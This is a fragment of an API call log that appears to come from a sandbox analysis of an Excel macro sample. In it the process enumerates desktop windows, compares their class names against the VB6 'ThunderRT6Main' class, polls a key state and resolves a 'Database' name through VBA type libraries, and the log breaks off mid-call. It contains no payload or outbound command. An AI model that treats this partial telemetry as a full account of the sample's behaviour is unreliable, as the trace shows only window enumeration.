[0125.090] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0125.090] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0125.090] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0125.090] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0125.090] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.090] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.090] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0125.090] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0125.090] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0125.090] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0125.090] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0125.090] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0125.090] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.090] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.090] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0125.090] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0125.090] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0125.090] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0125.090] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0125.090] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0125.091] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.091] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.091] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0125.091] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0125.091] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0125.091] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0125.091] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0125.091] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0125.091] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0125.091] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0125.091] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0125.091] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0125.091] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0125.091] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0125.091] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0125.091] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0125.091] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0125.091] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0125.091] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.091] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0125.091] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0125.091] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0125.091] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0125.091] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0125.091] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0125.091] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0125.091] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.091] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0125.091] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0125.091] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0125.092] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0125.092] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0125.092] GetClassNameA (in: hWnd=0x10080, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.092] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.092] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0125.092] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0125.092] GetClassNameA (in: hWnd=0x10076, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.092] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.092] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.092] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0125.092] GetClassNameA (in: hWnd=0x10064, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0125.092] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0125.092] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.092] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0125.092] GetClassNameA (in: hWnd=0x10110, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0125.092] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0125.092] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0125.092] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0125.092] GetClassNameA (in: hWnd=0x10112, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.092] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.092] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0125.092] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0125.092] GetClassNameA (in: hWnd=0x10060, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0125.092] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0125.092] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.092] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0125.092] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0125.092] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0125.092] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0125.092] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0125.092] GetClassNameA (in: hWnd=0x10042, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0125.093] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0125.093] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0125.093] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0125.093] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0125.093] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0125.093] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0125.093] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0125.093] GetClassNameA (in: hWnd=0x10048, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0125.093] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0125.093] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0125.093] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0125.093] GetClassNameA (in: hWnd=0x10040, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.093] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.093] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0125.093] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0125.093] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0125.093] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0125.093] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0125.093] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0125.093] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0125.093] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0125.093] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0125.093] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0125.093] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0125.093] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0125.093] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0125.093] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec [0125.093] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0125.093] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0125.093] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0125.093] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0125.093] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb2ef3b0 [0125.094] IMalloc:Free (This=0x7feffc15380, pv=0xb2ef3b0) [0125.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0125.143] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb2f9bb0 [0125.143] strncpy_s (in: _Dst=0xb2f9bb0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0125.143] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0125.143] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0125.143] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0125.143] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0125.143] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0125.143] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0125.143] IUnknown:Release (This=0xb1d1380) returned 0xb [0125.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2f9bb0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0125.143] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0125.143] IUnknown:Release (This=0xb1d1380) returned 0xa [0125.143] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0125.143] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0125.143] IUnknown:Release (This=0xb1d0570) returned 0x12 [0125.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2f9bb0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0125.144] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0125.144] IUnknown:Release (This=0xb1d0570) returned 0x11 [0125.144] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0125.144] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0125.144] IUnknown:Release (This=0xb1d1920) returned 0x6 [0125.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2f9bb0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0125.144] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0125.144] IUnknown:Release (This=0xb1d1920) returned 0x5 [0125.144] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0125.144] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0125.144] IUnknown:Release (This=0x6fed890) returned 0x4 [0125.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2f9bb0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0125.144] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0125.144] IUnknown:Release (This=0x6fed890) returned 0x3 [0125.144] IMalloc:Free (This=0x7feffc15380, pv=0xb2f9bb0) [0128.175] GetAsyncKeyState (vKey=27) returned 0 [0128.175] GetCurrentThreadId () returned 0x92c [0128.175] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0128.175] GetDesktopWindow () returned 0x10010 [0128.175] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140 [0128.175] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0128.175] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0128.175] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0128.175] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0128.175] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.175] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.175] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0128.175] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0128.175] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0128.175] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0128.175] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0128.176] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0128.176] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.176] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.176] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.176] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0128.176] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.176] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.176] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.176] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0128.176] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.176] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.176] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.176] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0128.176] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.176] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.176] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.176] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070 [0128.176] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.176] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.176] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.176] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c [0128.177] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.177] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.177] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.177] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0128.177] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.177] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.181] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.181] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0128.181] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.181] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.181] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.181] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0128.181] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.181] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.181] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.181] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0128.181] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.181] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.181] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.181] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0128.181] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0128.181] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0128.181] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.181] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0128.181] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.182] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.182] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.182] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0128.182] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Button") returned 6 [0128.182] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0128.182] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.182] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0128.182] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0128.182] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0128.182] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.182] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0128.182] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.182] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.182] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0128.182] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0128.182] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.182] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.182] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.183] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0128.183] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0128.183] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0128.183] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.183] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0128.183] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0128.183] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0128.183] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0128.183] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226 [0128.183] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0128.183] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0128.183] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.183] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056 [0128.183] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0128.183] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0128.183] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a6 [0128.183] GetClassNameA (in: hWnd=0x201a6, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.183] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.183] GetWindowThreadProcessId (in: hWnd=0x201a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.183] GetWindowLongA (hWnd=0x201a6, nIndex=-16) returned -1946157056 [0128.183] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0128.183] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0128.183] GetWindow (hWnd=0x201a6, uCmd=0x2) returned 0x202d2 [0128.183] GetClassNameA (in: hWnd=0x202d2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0128.183] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0128.184] GetWindowThreadProcessId (in: hWnd=0x202d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.184] GetWindowLongA (hWnd=0x202d2, nIndex=-16) returned 382664704 [0128.184] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0128.184] GetWindowLongPtrA (hWnd=0x202d2, 